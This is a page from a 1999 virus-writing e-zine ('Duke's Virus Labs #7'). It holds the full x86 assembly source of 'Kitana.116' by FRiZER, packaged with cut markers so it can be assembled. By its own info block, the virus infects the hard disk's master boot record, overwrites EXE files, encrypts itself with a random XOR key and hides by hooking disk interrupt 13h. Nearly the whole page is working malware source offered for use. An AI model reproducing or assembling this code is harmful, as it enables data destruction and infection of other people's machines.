- [Duke's Virus Labs #7] - [Page 35] -

Kitana.116.c
(c) by FRiZER

[BeginNFO]Ŀ
 virname : Kitana                                                           
 virsize : 116 bytes                                                        
 made by : FRiZER                                                           
 made at : 12.07.1999                                                       
 stealth : yes (mbr)                                                        
 crypted : yes (xor w/rnd key) - in com (with 0E9h at start)                
 targets : exe (overwrite) - everywhere                                     
         : mbr (save original in 0/0/2)                                     
 thanxez : 2b for some optimization tricks                                  
 mail-to : v666x@mail.ru, FIDO - 2:5040/57.27                               
[EndNFO]

===== Cut here =====
        title [ Kitana.116 ] by FRiZER (12.07.99)
        ideal
        model tiny
        p286
        codeseg
        startupcode
; regs: in COM: AX=0000; BX=0000; SI=0100; CX=00FF / in MBR: BX=7C00; CX=00??
s:      db      00,0DFh
;       add     bh,bl
        jnz     if_mbr
        lea     bx,[si+c-s]
l:      xor     [byte bx],0
        k       = $ - 1
        inc     bx
        loop    l
c:      inc     cx
        mov     ah,3
w13:    xchg    ax,bx
        cbw
        mov     dl,80h
        int     13h
        mov     [word bx-2],'U'
        xchg    ax,si
        cmp     [bx],bl
        mov     bl,2
        jne     w13
        ret
if_mbr: push    cs
        pop     ds
        xchg    bx,si
        dec     [word ds:413h]
        int     12h
        mov     cl,e-s+2
        rol     ax,cl
        mov     es,ax
        xor     di,di
        rep     movsb
        std
set13:  xchg    ax,[di+s-e+4Ch]
        stosw
        mov     al,new13h-s
        cbw
        dec     cx
        jp      set13
        int     19h
new13h: pusha
        mov     al,[es:bx]
        cmp     dx,0080h
        je      hdd0
        sub     ax,03E9h
        jnz     skip
        xchg    ax,si
        mov     di,bx
        push    ds cs
        pop     ds
        mov     cx,c-s
        rep     movsb
        mov     [di+k-s],ah
        mov     cl,e-c
l2:     lodsb
        xor     al,ah
        stosb
        loop    l2
        pop     ds
skip:   mov     al,1
hdd0:   add     cl,al
        dec     cx
ex13h:  popa
        jz      exit13h
        inc     cx
exit13h:db      0EAh
e:      end
===== Cut here =====
